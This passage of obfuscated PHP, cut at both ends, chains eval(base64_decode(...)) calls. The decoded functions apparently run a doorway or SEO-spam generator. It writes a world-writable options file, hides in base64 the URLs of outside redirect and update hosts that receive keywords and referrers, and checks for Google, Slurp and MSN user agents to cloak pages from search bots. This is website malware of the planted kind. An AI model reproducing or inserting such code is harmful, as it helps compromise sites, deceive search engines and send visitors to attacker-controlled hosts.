2RkU2Qil7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgLj0gYmFzZTY0X2VuY29kZSgkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKS4iID0gXCIiLmJhc2U2NF9lbmNvZGUoJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykuIlwiXG4iOyB9IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSB0cnVlKXsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY24nXSkpe2NobW9kKCRHTE9CQUxTWydkZ2NuJ10sIDA3NzcpO30gJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IGZvcGVuKCRHTE9CQUxTWydkZ2NuJ10sICJ3Iik7IGlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpeyBpZighZndyaXRlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIsIEYxMEY5MDY0MTg0RTQ3ODE5RUI0RjZDREM0MzREMEZBRCgpKSl7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAid3JpdGluZyB0byBvcHRpb25zIGZpbGUgW3skR0xPQkFMU1snZGdjbiddfV0gZmFpbGVkPGJyPiI7IH0gcmV0dXJuOyB9IGZmbHVzaCgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgZmNsb3NlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpOyBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdjbiddKSl7Y2htb2QoJEdMT0JBTFNbJ2RnY24nXSwgMDc3Nyk7fSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIm9wdGlvbnMgZmlsZSBbeyRHTE9CQUxTWydkZ2NuJ119XSB1cGRhdGVkIHN1Y2Nlc3NmdWxseTxicj4iOyB9IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gIjxiIHN0eWxlPSdjb2xvcjpyZWQnPmNhbid0IG9wZW4gb3B0aW9ucyBmaWxlIFt7JEdMT0JBTFNbJ2RnY24nXX1dPC9iPjxicj4iOyB9IH19'));eval(base64_decode('ZnVuY3Rpb24gRkUwM0MwOTU4RERGRjkyODA3QjYxNkY3RUQ0ODlGRThGKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gYXJyYXkoKTsgaWYoZmlsZV9leGlzdHMoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKTsgZm9yZWFjaCgkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGIGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyAkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDID0gZXhwbG9kZSgiID0gIiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMF0gPSB0cmltKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMF0pOyBpZigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzBdKXsgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSA9IHRyaW0oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSk7IGlmKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV1bMF0gPT0gJyInKXsgJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSA9IHN1YnN0cigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdLCAxLCBzdHJsZW4oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSkgLSAyKTsgfSAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzW3RyaW0oJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1swXSldID0gJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXTsgfSB9IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjM3MDczOENENDA4MTk5NkMwNDdBQkVEQ0RFRDZDRUY1KCl7ICRSNjFDQ0QwNEU5NkYwQTQ4NzNEMkI1Njg0Mzg2MDVCQTQgPSBGRTAzQzA5NThEREZGOTI4MDdCNjE2RjdFRDQ4OUZFOEYoJEdMT0JBTFNbJ2RnY24nXSk7ICRSODg0MjdEMURBQTM5RjRBQzIyRDdCRTdGODQ4MjI4NjkgPSAwOyAkR0xPQkFMU1snZGdvcHQnXSA9IGFycmF5KCk7IGlmKGlzX2FycmF5KCRSNjFDQ0QwNEU5NkYwQTQ4NzNEMkI1Njg0Mzg2MDVCQTQpKXsgZm9yZWFjaCgkUjYxQ0NEMDRFOTZGMEE0ODczRDJCNTY4NDM4NjA1QkE0IGFzICRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkI9PiRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpeyBpZihpc3NldCgkUjYxQ0NEMDRFOTZGMEE0ODczRDJCNTY4NDM4NjA1QkE0WydkZ3FuJ10pKXsgJFI4ODQyN0QxREFBMzlGNEFDMjJEN0JFN0Y4NDgyMjg2OSA9IDE7ICRHTE9CQUxTWydkZ29wdCddWyRSRjQxM0YwNkFFQkJDRUY1RTFDOEIxMDE5REVFNkZFNkJdID0gJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMzsgfWVsc2V7ICRHTE9CQUxTWydkZ29wdCddW2Jhc2U2NF9kZWNvZGUoJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QildID0gYmFzZTY0X2RlY29kZSh0cmltKCRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMpKTsgfSB9IH0gJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9ICRSODg0MjdEMURBQTM5RjRBQzIyRDdCRTdGODQ4MjI4Njk7IGlmKCEkR0xPQkFMU1snZGdvcHQnXVsnZGdxbiddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RncW4nXSA9ICJzaG93X3BhZ2UiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ10peyAkR0xPQkFMU1snZGdvcHQnXVsnZGd1cmwnXSA9IGJhc2U2NF9kZWNvZGUoImFIUjBjRG92TDNkd2JITjBjaTV1WlhRdmFXNHVZMmRwUHpZbWNHRnlZVzFsZEdWeVBTUnJaWGwzYjNKa0puTmxQU1J6WlNaMWNqMHhKbk5sYjNKbFpqMGxjbVZtSlNaSVZGUlFYMUpGUmtWU1JWSTlKWE5sYkdaZmRYSnNKU1prWldaaGRXeDBYMnRsZVhkdmNtUTlKV3QzSlE9PSIpOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ3N1J10gPSBiYXNlNjRfZGVjb2RlKCJhSFIwY0RvdkwzZHdiSE4wY2k1dVpYUXZhVzR1WTJkcFB6Y21jR0Z5WVcxbGRHVnlQU1ZyZHlVbVNGUlVVRjlTUlVaRlVrVlNQU1Z6Wld4bVgzVnliQ1U9Iik7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCEkR0xPQkFMU1snZGdvcHQnXVsndHQnXSl7ICRHTE9CQUxTWydkZ29wdCddWyd0dCddID0gIls+VUZfS0VZV09SRDxdIjsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoIWlzc2V0KCRHTE9CQUxTWydkZ29wdCddWydrZCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydrZCddID0gMTA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsncHJsJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddID0gNDA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnc3AnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnc3AnXSA9IDIwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ3N0J10peyAkR0xPQkFMU1snZGdvcHQnXVsnc3QnXSA9ICJzdHJvbmc7ZW07YjtpO3UiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2N0J10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2N0J10gPSAxMDAwMDAwMDAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ21hcmtvdiddKSl7ICRHTE9CQUxTWydkZ29wdCddWydtYXJrb3YnXSA9IDE7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdibG8nXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnZGdibG8nXSA9IDE7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZnJiJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyYiddID0gMTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoISRHTE9CQUxTWydkZ29wdCddWydtbCddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ21sJ10gPSAxMDA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCEkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddIHx8ICFzdHJwb3MoJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSwgIi0iKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ2lkJ10gPSBtZDUoJEdMT0JBTFNbJ2RnY3AnXSAuIG1rdGltZSgpKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSA9IHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCAwLCA4KSAuICItIiAuIHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCA4LCA0KSAuICItIiAuIHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCAxMiwgNCkgLiAiLSIgLiBzdWJzdHIoJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSwgMTYsIDQpIC4gIi0iIC4gc3Vic3RyKCRHTE9CQUxTWydkZ29wdCddWydkZ2lkJ10sIDIwKTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoISRHTE9CQUxTWydkZ29wdCddWydkZ3VoJ10peyAkR0xPQkFMU1snZGdvcHQnXVsnZGd1aCddID0gYmFzZTY0X2RlY29kZSgnYUhSMGNEb3ZMM05vWVdObGJpNXVaWFF2TzJoMGRIQTZMeTl6YUc1dlkyVnVMbTVsZEM4N2FIUjBjRG92TDI1dmJXTmxiaTVpYVhvdicpOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdzciddKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ3NyJ10gPSAxOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3QnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdCddID0gMjQ7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ2ZkJ10gPSAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ3FyJ10peyAkR0xPQkFMU1snZGdvcHQnXVsncXInXSA9ICJzaWQiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyJ10gPSAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10gPSAiIjsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1Nyl7IEZBQkYxRjk3NjgzNTNCMjU2NEI1NDYwRjE3OEM0RjFDQigpOyB9ICRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgPSBleHBsb2RlKCI7IiwgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndWgnXSk7ICRHTE9CQUxTWydkZ3VoJ10gPSAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGW3JhbmQoMCwgY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RikgLSAxKV07fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjMzMTlBMTdGQzg0QUVFMTQ3MDBDRThERTFCRjZGRDU0KCRSRDM4NkQ4REI5QzM1NUVGM0I4QkUyNDUyRUU2MTczNjMsICRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpeyAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID0gcGFyc2VfdXJsKCRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpOyBpZigkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyWyJzY2hlbWUiXSlyZXR1cm4gJFJDNUVEMzBGODdBQjQ5RUNCNDZFRTkxNjNGODgwNTYzQjsgZXh0cmFjdChwYXJzZV91cmwoJFJEMzg2RDhEQjlDMzU1RUYzQjhCRTI0NTJFRTYxNzM2MykpOyAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5ID0gZGlybmFtZSgkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5KTsgaWYoJFJDNUVEMzBGODdBQjQ5RUNCNDZFRTkxNjNGODgwNTYzQnswfSA9PSAnLycpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoIi8iLCAkUkM1RUQzMEY4N0FCNDlFQ0I0NkVFOTE2M0Y4ODA1NjNCKSk7IH1lbHNleyAkUjk4OTA0QzY2MTc4ODIyMTlCOTdCNjZDRUYwMDU3ODYzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoIi8iLCAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5KSk7ICRSRTEyN0E1QTBBMjQwNkEzRjY2MTVDMzMyQTZDMUVGRkEgPSBhcnJheV9maWx0ZXIoZXhwbG9kZSgiLyIsICRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpKTsgJFI1RUM4NkRERkFBNTQ4QzU4RTg1QjQyOTkxMEVENDUyRCA9IGFycmF5X21lcmdlKCRSOTg5MDRDNjYxNzg4MjIxOUI5N0I2NkNFRjAwNTc4NjMsICRSRTEyN0E1QTBBMjQwNkEzRjY2MTVDMzMyQTZDMUVGRkEpOyBmb3JlYWNoKCRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkQgYXMgJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NCA9PiAkUjUzOTkzMTdCMTUxQTNCMjFBMzczQ0YzNjFCNTI5M0M5KXsgaWYoJFI1Mzk5MzE3QjE1MUEzQjIxQTM3M0NGMzYxQjUyOTNDOSA9PSAnLicpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEWyRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTRdID0gbnVsbDsgfSBpZigkUjUzOTkzMTdCMTUxQTNCMjFBMzczQ0YzNjFCNTI5M0M5ID09ICcuLicpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEWyRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTQgLSAxXSA9IG51bGw7ICRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkRbJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NF0gPSBudWxsOyB9IH0gJFI1RUM4NkRERkFBNTQ4QzU4RTg1QjQyOTkxMEVENDUyRCA9IGFycmF5X2ZpbHRlcigkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEKTsgfSAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5ID0gaW1wbG9kZSgiLyIsICRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkQpOyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gIiI7IGlmKCRSQ0ZFNzYxRkJCNzcyNDQ5RTIyMDdFNUQ0NUY2Mjc3RTkpeyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gIiRSQ0ZFNzYxRkJCNzcyNDQ5RTIyMDdFNUQ0NUY2Mjc3RTk6LyIuIi8iOyB9IGlmKCRSRTBENUVEQjU2MEEyNkQ0RTFCRUNEODMyRUEwMjZFMzIpeyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1IC49ICIkUkUwRDVFREI1NjBBMjZENEUxQkVDRDgzMkVBMDI2RTMyIjsgaWYoJFJCMTQ4RTdGNDFGREMzQkU0QjE0RThEMTdFMDY4QkJBRCl7ICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgLj0gIjokUkIxNDhFN0Y0MUZEQzNCRTRCMTRFOEQxN0UwNjhCQkFEIjsgfSAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1IC49ICJAIjsgfSBpZigkUkFEQTM3MEY5N0Q5MDVGNzZCM0M5RDRFMUZGQkI3RkZGKXsgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSAuPSAiJFJBREEzNzBGOTdEOTA1Rjc2QjNDOUQ0RTFGRkJCN0ZGRi8iOyB9ICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgLj0gJFIzRDlBMTVGNEI4OUNBOEQwQjVENkVDOTdBQjFEMDc5OTsgcmV0dXJuICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTU7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjQxRjUxQTBEQTI2MUE2OTYwM0ExNjlDRUZGQkNGN0E1KCRSRTVDMThDNzlERkYxNjkxQzZGMjU3ODFCM0RBNDM3MkYpeyAkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEID0gJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddOyAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gaW1wbG9kZSgiIiwgZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSk7IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgJyRHTE9CQUxTW1wnZGdjcFwnXSA9ICInLCAnIjsnLCAkUkU1QzE4Qzc5REZGMTY5MUM2RjI1NzgxQjNEQTQzNzJGKSl7IGRpZSgiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHBhdGg8L2I+PGJyPlsyMDQ3M10iKTsgfSBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgIjxiIHN0eWxlPVwiY29sb3I6Z3JlZW5cIj5uZXcgcGF0aCBzZXQ8L2I+PGJyPlsyMDQ3M108YnI+PGI+ZGdvazwvYj4iLCAxKTt9'));eval(base64_decode('ZnVuY3Rpb24gRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCYkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFLCAkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFLCAkUkY3RTdGQ0UwMTNFMzI0RTA1NUE5RTc4QjI2MURFRDZDLCAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCKXsgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCA9IHN0cnBvcygkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFLCAkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFKTsgaWYoISRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQpe3JldHVybiBmYWxzZTt9ICRSQkEyMzYxNTJEQUUzOENEMDA0MjQ1QTk0Q0ExNzdCMTEgPSBzdWJzdHIoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSwgMCwgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCArIHN0cmxlbigkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFKSk7ICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQgPSBzdHJwb3MoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSwgJFJGN0U3RkNFMDEzRTMyNEUwNTVBOUU3OEIyNjFERUQ2QywgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCk7IGlmKCEkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEKXtyZXR1cm4gZmFsc2U7fSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFID0gc3Vic3RyKCRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUsICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQsIHN0cmxlbigkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFKSk7IGlmKHN0cmxlbigkUkJBMjM2MTUyREFFMzhDRDAwNDI0NUE5NENBMTc3QjExKSAmJiBzdHJsZW4oJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRSkpeyAkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFID0gJFJCQTIzNjE1MkRBRTM4Q0QwMDQyNDVBOTRDQTE3N0IxMS4kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCLiRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkU7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTt9'));eval(base64_decode('ZnVuY3Rpb24gRkFGRERBNkZCMzgxNjlENjJERDVBNTc2OEZCRUZEN0FEKCl7IGdsb2JhbCAkX1NFUlZFUjsgJEdMT0JBTFNbJ3NicyddID0gJ2dvb2dsZTtzbHVycDttc24nOyAkR0xPQkFMU1snc2VfYm90J10gPSBmYWxzZTsgJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSA9IGV4cGxvZGUoJzsnLCAkR0xPQkFMU1snc2JzJ10pOyBpZighaXNfYXJyYXkoJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSkpe3JldHVybjt9IGZvcmVhY2goJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoIShzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pLCAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSA9PT0gZmFsc2UpKXsgJEdMT0JBTFNbJ3NlX2JvdCddID0gdHJ1ZTsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkJFNDQzQkM3NDFDMjFDQUVERDRENTE1MDMzNkUyNzcxKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2Rna2YnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGdrZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjk1OERGN0MyMDc5M0NEQ0UwNDlFMkEwNDM2QjM0OThEKCRSODQwOUVBQTZFQzBDRTJFQTMwNzM1NEIyRTE1MEY4QzIgPSB0cnVlKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICcnOyBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdza2YnXSkpeyBpZigkUjg0MDlFQUE2RUMwQ0UyRUEzMDczNTRCMkUxNTBGOEMyKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IGltcGxvZGUoIiIsIGZpbGUoJEdMT0JBTFNbJ2Rnc2tmJ10pKTsgfWVsc2V7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBmaWxlKCRHTE9CQUxTWydkZ3NrZiddKTsgfSB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlD